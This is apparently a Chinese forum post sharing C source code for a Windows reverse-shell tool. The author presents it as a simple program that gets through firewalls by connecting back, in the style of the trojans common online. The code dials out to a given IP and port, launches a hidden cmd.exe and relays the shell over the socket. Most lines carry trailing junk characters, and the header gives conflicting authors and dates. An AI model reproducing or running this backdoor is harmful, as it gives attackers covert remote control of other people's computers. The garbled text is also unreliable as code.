这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4"(rZWv
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/* ============================== GJrmK
Rebound port in Windows NT dM= &?g
By wind,2006/7 s-PS]l@
===============================*/ W0~G`A(:;
#include %<(d%&~
#include |l+5E
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#pragma comment(lib,"wsock32.lib") ~~-VScG&
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void OutputShell(); 83t/\x,Q
SOCKET sClient; cGgfCF^`
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; c$7~EP
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void main(int argc,char **argv) KU9FHN
{ .O5V;&,
WSADATA stWsaData; m:[I$b6AY
int nRet; p^<(.+P4
SOCKADDR_IN stSaiClient,stSaiServer; H)7v$A,5%
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if(argc != 3) XC^*z[#4{
{
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printf("Useage:\n\rRebound DestIP DestPort\n"); L8Tm8)
return; lMvOYv
} :,Y1#_\
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WSAStartup(MAKEWORD(2,2),&stWsaData); %\T,=9tD\
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?dCwo;~
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stSaiClient.sin_family = AF_INET; n{sk
stSaiClient.sin_port = htons(0); "YgpgW
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); kodd7 AD
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 52tc|j6~#
{ $KGMAg/H
printf("Bind Socket Failed!\n"); fPUr O
return; VYkh@j
} Z,E$4Z
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stSaiServer.sin_family = AF_INET; Z}uY%]
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )-Hs]D:
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); }" vxYB!h3
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ge
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{ [=q/f2_1.
printf("Connect Error!"); =N\; ?eF(
return; j0; ~2W#G*
} :1j8!R5
OutputShell(); Si?s69
} /#M1J:SV
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void OutputShell() P7XZ|Td4*
{ 49&i];:%7%
char szBuff[1024]; +?o!"SJ
SECURITY_ATTRIBUTES stSecurityAttributes; uo]xC+^
OSVERSIONINFO stOsversionInfo; &3Zb?
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; rBTg"^jsw
STARTUPINFO stStartupInfo; [-_{3qq<e
char *szShell; iv *$!\Cd
PROCESS_INFORMATION stProcessInformation; xBTx`+%WS
unsigned long lBytesRead; D`a6D
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -|#{V.G3'
stSecurityAttributes.lpSecurityDescriptor = 0; v-3VzAd=*&
stSecurityAttributes.bInheritHandle = TRUE; K_)~&Cu*'
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); WK`o3ayH-
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); M8X6!"B$Y
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -!1=S: S
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uNyN[U
stStartupInfo.wShowWindow = SW_HIDE; 5cIZ_#
stStartupInfo.hStdInput = hReadPipe; :C} I6v=
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?Te#lp;`~
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GetVersionEx(&stOsversionInfo); /GO-
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switch(stOsversionInfo.dwPlatformId) W-s 6+DY
{ T(?w}i
case 1: 0NU%z.(%s
szShell = "command.com"; HfVHjF)
break; ?uSoJM`wa!
default: FAdTm#tgW]
szShell = "cmd.exe"; 2j%=o?me^p
break; wBXa;.
} M\m:H3[
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); FE!jN-#
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send(sClient,szMsg,77,0); {q)d
while(1) H_RfIX)X
{ iN
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %(W&(eN
if(lBytesRead) 8)1q,[:M
{ {k3ItGQ_
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =m2_:&@0x
send(sClient,szBuff,lBytesRead,0); W:RjWn @<
} 2~$S @c
else ),p0V
{ M/p9 I
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lBytesRead=recv(sClient,szBuff,1024,0); LRu,_2"
if(lBytesRead<=0) break; r89AX{:
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /&Oo)OB;
} l|WFS
} i|1*bZ6'
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return; (Ut8pa+yX
}